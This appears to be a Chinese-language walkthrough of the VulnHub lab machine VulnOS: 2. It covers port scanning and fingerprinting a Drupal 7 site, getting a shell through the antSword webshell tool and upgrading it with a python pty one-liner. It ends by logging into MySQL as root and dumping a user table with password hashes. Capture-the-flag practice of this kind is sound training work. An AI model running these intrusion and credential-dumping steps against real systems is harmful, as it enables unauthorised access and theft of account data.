VulnHub 147 VulnOS: 2
靶机链接:https://www.vulnhub.com/entry/vulnos-2,147/
环境配置
名称 | IP |
---|---|
VULNOS: 2 | 10.0.2.47 |
Kali Linux | 10.0.2.46 |
初步打点
端口扫描
1$ export rip=10.0.2.47
2$ sudo nmap -v -A -p- $rip
发现80端口
webapps
1$ whatweb http://10.0.2.47/jabc/
2http://10.0.2.47/jabc/ [200 OK] Apache[2.4.7], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[10.0.2.47], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.5.9-1ubuntu4.14], Script[text/javascript], Title[JABC | Just Another Bioware Company], UncommonHeaders[x-generator], X-Powered-By[PHP/5.5.9-1ubuntu4.14]
获取权限
连接antSword
反弹shell
1$ python -c 'import pty; pty.spawn("/bin/bash")'
2$ mysql -uroot -p
3mysql -uroot -p
4Enter password: toor
5
6mysql> select * from jabcd0cs.odm_user;
7select * from jabcd0cs.odm_user;
8+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
9| id | username | password | department | phone | Email | last_name | first_name | pw_reset_code |
10+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
11| 1 | webmin | b78aae356709f8c31118ea613980954b | 2 | 5555551212 | webmin@example.com | min | web | |
12| 2 | guest | 084e0343a0486ff05530df6c705c8bb4 | 2 | 555 5555555 | guest@example.com | guest | guest | NULL |
13+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+